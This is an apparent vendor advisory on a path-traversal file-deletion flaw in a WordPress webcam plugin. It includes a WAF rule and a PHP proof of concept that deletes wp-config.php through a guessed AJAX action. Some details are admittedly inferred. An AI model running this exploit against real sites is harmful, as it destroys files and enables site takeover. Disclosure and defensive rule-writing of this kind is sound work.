Atomic Edge analysis of CVE-2026-57331 (metadata-based):
This vulnerability allows authenticated attackers with at least Custom-level access (likely a Performer role) to delete arbitrary files on the WordPress server via the Paid Videochat Turnkey Site plugin. The CVSS score is 8.1, indicating high severity, with network access, low complexity, and no user interaction required beyond authentication.
Root Cause:
The CWE-22 classification (Path Traversal) and the description confirm that the plugin’s file deletion functionality fails to properly sanitize or validate user-supplied file paths. Inferred from the CWE: the code likely accepts a file path parameter (e.g., via an AJAX handler or POST request) and passes it to a PHP function like unlink() or wp_delete_file() without checking that the path is within an allowed directory. The lack of a directory traversal check allows paths containing ‘../’ sequences to escape the intended uploads or plugin directory. This conclusion is inferred from the CWE and description, as no source code diff is available for confirmation.
Exploitation:
An attacker authenticated as a Performer (or above) would send a POST request to /wp-admin/admin-ajax.php with an action parameter likely derived from the plugin slug, such as ‘ppv_live_webcams_delete_file’. The POST data would include a ‘file_path’ or similar parameter set to a malicious path like ‘../../../wp-config.php’. The server-side handler lacks path restriction, so the attacker can target critical files (wp-config.php, .htaccess, index.php). Deleting wp-config.php forces WordPress into a setup state, enabling remote code execution through installation of a malicious plugin or theme. The exact action name is inferred from common plugin patterns; the actual action may vary slightly.
Remediation:
The patch likely implements proper path validation by using WordPress functions like wp_normalize_path(), realpath(), or checking that the resolved path starts with an allowed base directory (e.g., wp_upload_dir()[‘basedir’]). Developers should also implement capability checks (current_user_can(‘manage_options’) for file deletion) and nonce verification to prevent CSRF. The fix should prevent path traversal characters and reject any file path that escapes the intended directory.
Impact:
Successful exploitation grants an attacker the ability to delete arbitrary files on the server. Deleting wp-config.php exposes database credentials and allows complete site takeover via RCE. Deleting .htaccess can enable directory listing and further attacks. The impact is total site compromise, data exposure, and potential lateral movement to other hosted applications.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-57331 (metadata-based)
# Block path traversal in plugin AJAX handler for arbitrary file deletion
# Inferred action name: ppv_live_webcams_delete_file (adjust if different)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261993,phase:2,deny,status:403,chain,msg:'CVE-2026-57331 via AJAX action ppv_live_webcams_delete_file',severity:'CRITICAL',tag:'CVE-2026-57331'"
SecRule ARGS_POST:action "@streq ppv_live_webcams_delete_file" "chain"
SecRule ARGS_POST:file_path "@rx ../"
"t:urlDecode,t:lowercase,id:20261994"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57331 - Paid Videochat Turnkey Site – HTML5 PPV Live Webcams <= 7.4.8 - Authenticated (Performer+) Arbitrary File Deletion
// Configurable variables
$target_url = 'http://target-wordpress-site.com'; // Change this to the target WordPress URL
$username = 'attacker_performer'; // Valid user with Performer (Custom) role
$password = 'attacker_password'; // User's password
// Path to delete (relative to WordPress root). Must escape the intended directory.
$target_file = '../../../wp-config.php';
// Step 1: Authenticate to get cookies and nonce
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
if (curl_error($ch)) {
die('Login failed: ' . curl_error($ch) . "n");
}
// Step 2: Fetch the admin dashboard to obtain a valid nonce (if required)
// The nonce parameter name is inferred; may need adjustment.
$admin_url = $target_url . '/wp-admin/';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$admin_response = curl_exec($ch);
// Extract nonce using regex (pattern may vary; adjust if needed)
preg_match('/name="_wpnonce" value="([^"]+)"/i', $admin_response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
// Step 3: Send AJAX request with arbitrary file path (action name is inferred)
// The AJAX action is guessed from the plugin slug 'ppv-live-webcams' as 'ppv_live_webcams_delete_file'
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
'action' => 'ppv_live_webcams_delete_file',
'file_path' => $target_file,
'_wpnonce' => $nonce // Some handlers require nonce; if not, this may be ignored
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (curl_error($ch)) {
die('AJAX request failed: ' . curl_error($ch) . "n");
}
// Check response for success indication (e.g., 'success:1')
if (strpos($response, 'success') !== false || strpos($response, 'deleted') !== false) {
echo "[+] File deletion likely succeeded. wp-config.php should be deleted.n";
echo "[+] The site is now in setup mode and remote code execution is possible.n";
} else {
echo "[-] The deletion attempt may have failed. Response from server:n";
echo $response . "n";
echo "[!] Note: The AJAX action name may differ. Try common variations like 'delete_file', 'ppv_delete_file', or 'ppv_live_webcams_delete'.n";
}
curl_close($ch);
?>
